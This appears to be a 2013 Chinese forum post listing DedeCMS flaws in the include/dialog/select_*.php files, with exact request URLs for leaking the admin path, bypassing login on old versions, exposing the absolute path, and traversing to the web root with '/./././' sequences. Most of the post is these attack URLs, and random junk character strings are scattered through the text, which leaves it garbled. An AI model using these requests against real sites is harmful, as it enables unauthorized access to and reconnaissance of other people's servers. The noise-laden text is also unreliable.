1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理9 L& W2 L4 \# n1 M; ?1 m
/ A& I3 c4 P) Q+ t9 j
员帐号,新版本的就直接转向了后台.3 G! d2 E9 G% `; G6 o2 a
0 }: U+ v# N0 y* b0 @6 t$ G
2.include/dialog/config.php会爆出后台管理路径0 C1 `9 B4 I! y% A5 z# d
) M+ X5 t$ z' k4 e; E2 p7 F
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
# B1 D* z9 p# A# M7 W! q9 G) j
1 y9 T5 A% i$ k/ [4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径." C4 Q+ {1 ~# h& t, {. [3 y5 }/ I% z
( H- H$ @( J4 u2 h5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉2 T2 W3 i, ^$ t8 W7 b
7 [2 m6 {% z9 R& j
到根目录去.不过这些版本的访问地址有些不同./ I7 y4 A# G# ^4 x D$ x1 p
地址为require/dialog/select_soft.php?activepath=/././././././././! z6 T {$ n; i
( g4 O. O# O2 Z; U, l% N* einclude\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..1 A+ |2 [/ n, [# O
存在相同问题的文件还有
7 w E# m; e1 B0 c" L6 I% Z% binclude\dialog\select_images.php
: E# _' ~9 }8 X; ^) W0 zinclude\dialog\select_media.php
" G4 A& r4 o0 q5 b9 }include\dialog\select_templets.php; b/ y( E8 D- e
|
发表于 2013-4-16 16:50:43
收藏
支持
反对